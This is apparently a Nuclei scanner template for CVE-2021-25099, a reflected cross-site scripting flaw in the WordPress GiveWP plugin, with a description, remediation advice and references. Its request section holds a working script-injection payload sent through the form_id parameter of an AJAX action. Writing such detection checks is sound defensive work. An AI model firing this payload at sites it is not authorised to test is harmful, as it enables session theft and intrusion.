51 lines
2.1 KiB
YAML
51 lines
2.1 KiB
YAML
id: CVE-2021-25099
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info:
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name: WordPress GiveWP <2.17.3 - Cross-Site Scripting
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author: theamanrawat
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severity: medium
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description: |
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WordPress GiveWP plugin before 2.17.3 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape the form_id parameter before returning it in the response of an unauthenticated request via the give_checkout_login AJAX action. An attacker can inject arbitrary script in the browser of a user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
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remediation: |
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Update to the latest version of the GiveWP plugin (2.17.3 or higher) to mitigate this vulnerability.
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reference:
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- https://wpscan.com/vulnerability/87a64b27-23a3-40f5-a3d8-0650975fee6f
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- https://wordpress.org/plugins/give/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-25099
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- https://plugins.trac.wordpress.org/changeset/2659032
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-25099
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cwe-id: CWE-79
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epss-score: 0.001
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epss-percentile: 0.41101
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cpe: cpe:2.3:a:givewp:givewp:*:*:*:*:*:wordpress:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: givewp
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product: givewp
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framework: wordpress
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tags: xss,cve2021,wp,give,wordpress,cve,wp-plugin,unauth,wpscan
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http:
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- raw:
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- |
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POST /wp-admin/admin-ajax.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded; charset=UTF-8
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action=give_checkout_login&form_id=xxxxxx"><script>alert(document.domain)</script>
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matchers:
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- type: dsl
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dsl:
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- 'status_code == 200'
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- 'contains(content_type, "text/html")'
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- 'contains(body, "<script>alert(document.domain)</script>")'
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- 'contains(body, "give_user_login")'
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condition: and
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# digest: 4b0a00483046022100f2b1cd6b846b87a3c95c8d1706c706892de9d6463e20d49e42006dec3a948379022100b91355cc246aa578029679968391b60ff6384dc76d1afc90e8845ac320ee1b36:922c64590222798bb761d5b6d8e72950
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